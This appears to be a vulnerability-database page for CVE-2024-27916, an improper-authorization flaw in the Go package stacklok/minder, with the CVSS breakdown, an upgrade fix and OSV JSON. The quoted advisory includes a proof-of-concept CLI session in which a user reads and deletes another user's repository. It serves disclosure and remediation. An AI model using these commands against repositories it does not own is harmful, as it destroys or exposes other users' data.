Vulnerabilities in pkg:golang/github.com/stacklok/minder

PACKAGE
Advisory Identifier: GHSA-v627-69v2-xx37
Advisory Summary

CVE-2024-27916 is a HIGH (CVSS 7.1) `getrepositorybyname`, `deleterepositorybyname` and `getartifactbyname` allow vulnerability (CWE-285: Improper Authorization) affecting Github.com/stacklok/minder libraries in the Go ecosystem. The issue involves `getrepositorybyname`, `deleterepositorybyname` and `getartifactbyname` allow access of arbitrary repositories in minder by any authenticated user. Remediation is available by upgrading affected packages to version 0.0.33.

8 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/stacklok/minder

8 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/stacklok/minder. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-v627-69v2-xx37 CVE-2024-27916 HIGH `GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user
GHSA-q6h8-4j2v-pjg4 CVE-2024-27093 MODERATE Minder trusts client-provided mapping from repo name to upstream ID
GHSA-hpcg-xjq5-g666 CVE-2024-37904 MODERATE Minder affected by denial of service from maliciously configured Git repository
GHSA-8fmj-33gw-g7pw CVE-2024-35238 MODERATE Denial of service of Minder Server from maliciously crafted GitHub attestations
GHSA-crgc-2583-rw27 CVE-2024-35194 MODERATE Stacklok Minder vulnerable to denial of service from maliciously crafted templates
GHSA-fjw8-3gp8-4cvx CVE-2024-35185 MODERATE Denial of service of Minder Server with attacker-controlled REST endpoint
GHSA-9c5w-9q3f-3hv7 CVE-2024-34084 HIGH Minder's GitHub Webhook Handler vulnerable to DoS from un-validated requests
GHSA-ggp5-28x4-xcj9 CVE-2024-31455 MODERATE Minder GetRepositoryByName data leak

CVE-2024-27916 at a Glance

CVE Identifier CVE-2024-27916
GHSA Identifier GHSA-v627-69v2-xx37
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-285: Improper Authorization
Affected Product Github.com/stacklok/minder
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-27916

To remediate this vulnerability, upgrade all affected Github.com/stacklok/minder dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/stacklok/minder fixed: 0.0.33
Upgrade github.com/stacklok/minder to 0.0.33
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/stacklok/minder

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-27916, inspect your project dependencies for Github.com/stacklok/minder:

inspect dependencies for github.com/stacklok/minder

Analyze the terminal output to locate any version of Github.com/stacklok/minder in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/stacklok/minder, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have. ### Details https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23 https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278 The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo. `DeleteRepositoryByName` uses the same query and I have been able to delete another user's repo using this technique. The `GetArtifactByName` endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited. ### PoC Setup: 1. Fresh provider/project on the production minder instance which is owned by me. 2. A repo registered by another user (in this case, Ozz) ``` # show my identity $ minder auth whoami No config file present, using default values. Here are your details: +----------------------------------------------------+----------------------------------------------------+ | KEY | VALUE | +----------------------------------------------------+----------------------------------------------------+ | Subject | c93cc12e-999d-49f4-9ee3-593fdfb39204 | +----------------------------------------------------+----------------------------------------------------+ | Created At | 2024-02-26 15:53:29.228 +0000 | | | UTC | +----------------------------------------------------+----------------------------------------------------+ | Updated At | 2024-02-26 15:53:29.228 +0000 | | | UTC | +----------------------------------------------------+----------------------------------------------------+ | Minder Server | api.stacklok.com:443 | +----------------------------------------------------+----------------------------------------------------+ | Project | dmjb / | | | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab | +----------------------------------------------------+----------------------------------------------------+ # show that I have no repos registered $ minder repo list No config file present, using default values. +----+---------+----------+-------------+-------+------+ | ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME | +----+---------+----------+-------------+-------+------+ # show details on one of Ozz's repos $ minder repo get -n JAORMX/auditevent No config file present, using default values. { "id": "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2", "context": { "provider": "github", "project": "b513f7f0-26dc-42e6-81a0-577df5489e62" }, "owner": "JAORMX", "name": "auditevent", "repoId": "605597568", "hookUrl": "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107", "deployUrl": "https://api.github.com/repos/JAORMX/auditevent/deployments", "cloneUrl": "https://github.com/JAORMX/auditevent.git", "isFork": true, "createdAt": "2024-03-04T13:27:54.019356Z", "updatedAt": "2024-03-04T13:27:54.019356Z", "defaultBranch": "main" } # delete Ozz's repo $ minder repo delete -n JAORMX/auditevent No config file present, using default values. Successfully deleted repo with name: JAORMX/auditevent # Ozz's repo no longer exists $ minder repo get -n JAORMX/auditevent No config file present, using default values. Message: Error getting repo by name Details: NotFound means some requested entity (e.g., file or directory) was not found. ``` ### Impact Any user and project in a multi-tenant Minder instance.

CVE-2024-27916 Affected Github.com/stacklok/minder Versions

1 component(s)
Fixed Versions:
0.0.33
Product / Package Ecosystem Affected Versions Fixed Version
github.com/stacklok/minder
Go
< 0.0.33
0.0.33

References

Frequently Asked Questions

What is CVE-2024-27916?
CVE-2024-27916 is a security vulnerability in Github.com/stacklok/minder involving `GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user under CWE-285: Improper Authorization.
Which Github.com/stacklok/minder versions are affected?
Affected versions include releases prior to 0.0.33 across affected packages: github.com/stacklok/minder.
What version fixes CVE-2024-27916?
Upgrading to 0.0.33 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/stacklok/minder affected?
Yes, github.com/stacklok/minder is affected in releases prior to 0.0.33. Upgrade your dependency to 0.0.33 or later.
What is the CVSS score of CVE-2024-27916?
CVE-2024-27916 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2024-27916?
CVE-2024-27916 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2024-27916?
Run the dependency tree command: 'inspect dependencies for github.com/stacklok/minder'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v627-69v2-xx37",
  "modified" : "2026-01-03T00:04:20Z",
  "published" : "2024-03-05T16:20:07Z",
  "aliases" : [ "CVE-2024-27916" ],
  "summary" : "`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user",
  "details" : "### Summary\nA Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.\n \n### Details\n\nhttps://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23\nhttps://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278\n\nThe DB query used here checks by repo owner, repo name and provider name (which is always \"github\"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.\n\n`DeleteRepositoryByName` uses the same query and I have been able to delete another user's repo using this technique.\n\nThe `GetArtifactByName` endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.\n\n### PoC\n\nSetup:\n1. Fresh provider/project on the production minder instance which is owned by me.\n2. A repo registered by another user (in this case, Ozz)\n\n```\n# show my identity\n$ minder auth whoami\nNo config file present, using default values.\n\n Here are your details:\n\n+----------------------------------------------------+----------------------------------------------------+\n|                        KEY                         |                       VALUE                        |\n+----------------------------------------------------+----------------------------------------------------+\n| Subject                                            | c93cc12e-999d-49f4-9ee3-593fdfb39204               |\n+----------------------------------------------------+----------------------------------------------------+\n| Created At                                         | 2024-02-26 15:53:29.228 +0000                      |\n|                                                    | UTC                                                |\n+----------------------------------------------------+----------------------------------------------------+\n| Updated At                                         | 2024-02-26 15:53:29.228 +0000                      |\n|                                                    | UTC                                                |\n+----------------------------------------------------+----------------------------------------------------+\n| Minder Server                                      | api.stacklok.com:443                               |\n+----------------------------------------------------+----------------------------------------------------+\n| Project                                            | dmjb /                                             |\n|                                                    | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab               |\n+----------------------------------------------------+----------------------------------------------------+\n\n# show that I have no repos registered\n$ minder repo list\nNo config file present, using default values.\n+----+---------+----------+-------------+-------+------+\n| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |\n+----+---------+----------+-------------+-------+------+\n\n# show details on one of Ozz's repos\n$ minder repo get -n JAORMX/auditevent\nNo config file present, using default values.\n{\n  \"id\":  \"a7e82080-9b6c-41f3-bc08-8e9442f8b2d2\",\n  \"context\":  {\n    \"provider\":  \"github\",\n    \"project\":  \"b513f7f0-26dc-42e6-81a0-577df5489e62\"\n  },\n  \"owner\":  \"JAORMX\",\n  \"name\":  \"auditevent\",\n  \"repoId\":  \"605597568\",\n  \"hookUrl\":  \"https://api.github.com/repos/JAORMX/auditevent/hooks/464564107\",\n  \"deployUrl\":  \"https://api.github.com/repos/JAORMX/auditevent/deployments\",\n  \"cloneUrl\":  \"https://github.com/JAORMX/auditevent.git\",\n  \"isFork\":  true,\n  \"createdAt\":  \"2024-03-04T13:27:54.019356Z\",\n  \"updatedAt\":  \"2024-03-04T13:27:54.019356Z\",\n  \"defaultBranch\":  \"main\"\n}\n\n# delete Ozz's repo\n$ minder repo delete -n JAORMX/auditevent\nNo config file present, using default values.\nSuccessfully deleted repo with name: JAORMX/auditevent\n\n# Ozz's repo no longer exists\n$ minder repo get -n JAORMX/auditevent\nNo config file present, using default values.\nMessage: Error getting repo by name\nDetails: NotFound means some requested entity (e.g., file or directory) was\nnot found.\n```\n\n### Impact\n\nAny user and project in a multi-tenant Minder instance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/stacklok/minder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.33"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/security/advisories/GHSA-v627-69v2-xx37"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-27916"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/commit/45750b4e9fb2de33365758366e06c19e999bd2eb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/stacklok/minder"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/blob/main/internal/controlplane/handlers_repositories.go#L257-L299"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-05T16:20:07Z",
    "nvd_published_at" : "2024-03-21T02:52:20Z"
  }
}